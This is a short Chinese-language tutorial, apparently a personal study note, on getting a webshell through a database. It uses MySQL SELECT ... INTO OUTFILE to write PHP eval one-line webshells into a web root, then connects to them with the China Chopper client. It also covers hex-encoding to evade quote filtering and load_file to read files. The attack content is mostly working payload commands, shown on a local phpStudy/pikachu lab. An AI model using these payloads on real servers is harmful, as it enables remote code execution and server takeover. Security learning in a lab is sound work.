注:本文仅供学习参考
利用数据库拿shell需要两个条件
首先需要知道网站的绝对路径,
并且文件夹具有可写入的权限。
那我们就可以利用数据库里into outfile函数来进行写入函数
select'<?php eval($_GET[cmd])?>'into outfile '物理路径';
下面做个测试在本机D盘生成一个1.txt 我们来查看一下内容
select'<?php eval($_GET[cmd])?>'into outfile 'd:/1.txt';
发现成功把一句话写进去 所以说要知道网站的绝对路径才能写入(绝对路径可以通过报错返回或者一些配置文件的泄露等等) 然后连接一句话进行拿shell。如果过滤了单引号可以转成16进制,读文件同理。
下面实战一下
利用Phpstudy做个实验
select'<?php eval($_POST[cc123]) ?>'into outfile '/phpStudy/WWW/pikachu/2.php';
使用菜刀连接一下
实验成功
读取文件操作函数
load_file
还有很多拿shell方法,备份数据库等等,总结了一下,感觉还可以!过几天复习一下报错函数以及sql注入的原理。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。